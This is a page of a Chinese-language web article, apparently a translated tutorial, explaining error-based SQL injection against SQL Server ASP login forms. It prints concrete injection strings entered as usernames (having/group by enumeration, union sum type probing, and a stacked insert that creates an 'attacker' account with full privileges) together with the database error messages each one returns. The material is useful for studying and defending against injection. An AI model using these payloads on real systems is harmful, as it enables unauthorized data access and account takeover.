至顶网›软件频道 ›SQL Server应用程序高级SQL注入(上)(4)

SQL Server应用程序高级SQL注入(上)(4)

扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条

SQL是一种用于关系数据库的结构化查询语言。它分为许多种，但大多数都松散地基于美国国家标准化组织最新的标准SQL-92。典型的执行语句是query，它能够收集比较有达标性的记录并返回一个单一的结果集。

作者：gaoyuanan 来源：赛迪网技术社区 2007年9月7日

如果我们的攻击者想插入一个自己的用户。在不知道users表结构的情况下，他不可能成功。即使他比较幸运，至于privs字段不清楚。攻击者可能插入一个'1'，这样只给他自己一个低权限的用户。幸运地，如果从应用程序（默认为ASP行为）返回错误消息，那么攻击者可以确定整个数据库的结构，并且可以以程序中连接SQLSERVER的权限度曲任何值。（下面以一个简单的数据库和asp脚本来举例说明他们是怎么工作的）

首先，攻击者想获得建立用户的表的名字和字段的名字，要做这些，攻击者需要使用select语法的having子句：

Username：' having 1=1—

这样将会出现如下错误：

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id'
 is invalid in the select list because it is not contained in 
an aggregate function and there is no GROUP BY clause. 
/process_login.asp, line 35

因此现在攻击者知道了表的名字和第一个地段的名字。他们仍然可以通过把字段放到group by子句只能感去找到一个一个字段名，如下：

Username：' group by users.id having 1=1—

出现的错误如下：

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 
'users.username' is invalid in the select list because 
it is not contained in either an aggregate function or the GROUP BY clause. 
/process_login.asp, line 35

最终攻击者得到了username字段后：

‘ group by users.id,users.username,users.password,users.privs having 1=1—

这句话并不产生错误，相当于：

select * from users where username=''

因此攻击者现在知道查询涉及users表，按顺序使用列'id,username,password,privs'。能够确定每个列的类型是非常有用的。这可以通过使用类型转化来实现，例如：

Username：' union select sum(username) from users—

这利用了SQLSERVER在确定两个结果集的字段是否相等前应用sum子句。尝试去计算sum会得到以下消息：

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]
The sum or average aggregate operation cannot 
take a varchar data type as an argument. 
/process_login.asp, line 35

这告诉了我们'username'字段的类型是varchar。如果是另一种情况，我们尝试去计算sum()的是数字类型，我们得到的错误消息告诉我们两个集合的字段数量不相等。

Username：' union select sum(id) from users— 
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 

[Microsoft][ODBC SQL Server Driver][SQL Server]All queries 
in an SQL statement containing a UNION operator must have
 an equal number of expressions in their target lists. 
/process_login.asp, line 35

我们可以用这种技术近似地确定数据库中任何表中的任何字段的类型。这样攻击者就可以写一个好的insert查询，例如：

Username：';insert into users values(666,'attacker','foobar','0xffff)—

这种技术的潜在影响不仅仅是这些。攻击者可以利用这些错误消息显示环境信息或数据库。通过运行一列一定格式的字符串可以获得标准的错误消息：

select * from master ..sysmessages

VIP专区

VIP用户

普通用户

邮件订阅

如果您非常迫切的想了解IT领域最新产品与技术信息，那么订阅至顶网技术邮件将是您的最佳途径之一。

重磅专题

往期文章

SQL Server应用程序高级SQL注入(上)(4)

业界热点: